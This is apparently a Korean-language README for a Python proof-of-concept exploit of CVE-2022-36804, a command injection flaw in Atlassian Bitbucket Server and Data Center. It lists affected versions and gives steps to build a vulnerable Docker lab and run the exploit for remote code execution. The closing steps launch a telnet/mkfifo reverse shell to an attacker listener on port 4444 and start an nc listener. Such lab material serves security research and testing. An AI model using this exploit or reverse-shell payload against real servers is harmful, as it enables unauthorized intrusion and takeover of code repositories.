
Python 기반의 개념 증명 익스플로잇으로, Atlassian Bitbucket Server 및 Data Center의 명령 삽입 취약점(CVE-2022-36804)을 통해 악의적인 HTTP 요청으로 원격 코드 실행을 가능하게 합니다.
⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요
원본 PoC 작성자 Walnut Security Services Pvt. Ltd님께 깊은 감사를 드립니다.
Atlassian Bitbucket Server 및 Data Center 7.0.0에서 7.6.17 미만, 7.7.0에서 7.17.10 미만, 7.18.0에서 7.21.4 미만, 8.0.0에서 8.0.3 미만, 8.1.0에서 8.1.3 미만, 8.2.0에서 8.2.2 미만, 8.3.0에서 8.3.1 미만 버전의 여러 API 엔드포인트는 공개 또는 비공개 Bitbucket 저장소에 읽기 권한이 있는 원격 공격자가 악의적인 HTTP 요청을 전송하여 임의 코드를 실행할 수 있도록 허용합니다. 이 취약점은 TheGrandPew님이 당사의 버그 바운티 프로그램을 통해 보고했습니다.
먼저, 저장소를 클론합니다.
git clone https://github.com/asepsaepdin/CVE-2022-36804.git
디렉토리 변경
cd CVE-2022-36804
취약한 컨테이너 빌드
docker build -t CVE-2022-36804 .
임시 컨테이너 실행
docker run --rm -it --name CVE-2022-36804 CVE-2022-36804
컨테이너 IP 주소 확인
docker inspect CVE-2022-36804 | grep "IPAddress"
Atlassian Bitbucket을 설정하고 다음 URL을 열어 새 공개 저장소 생성: http://172.17.0.3:7990
원격 코드 실행(RCE) 확인
python3 cve-2022-36804.py -u http://172.17.0.3:7990
사용자 정의 명령어(cmd)로 RCE 확인
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
공격자 관점에서 원격 코드 실행은 대화형 셸에 접근하는 데 중요합니다. 따라서 다음 명령어를 실행하면 공격자 시스템의 4444/tcp 포트로 텔넷 리버스 셸이 bash 기반 TCP로 트리거됩니다:
python3 cve-2022-36804.py -u http://172.17.0.3:7990 -c 'TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.1 4444 0<$TF | sh 1>$TF'
nc -nlvp 4444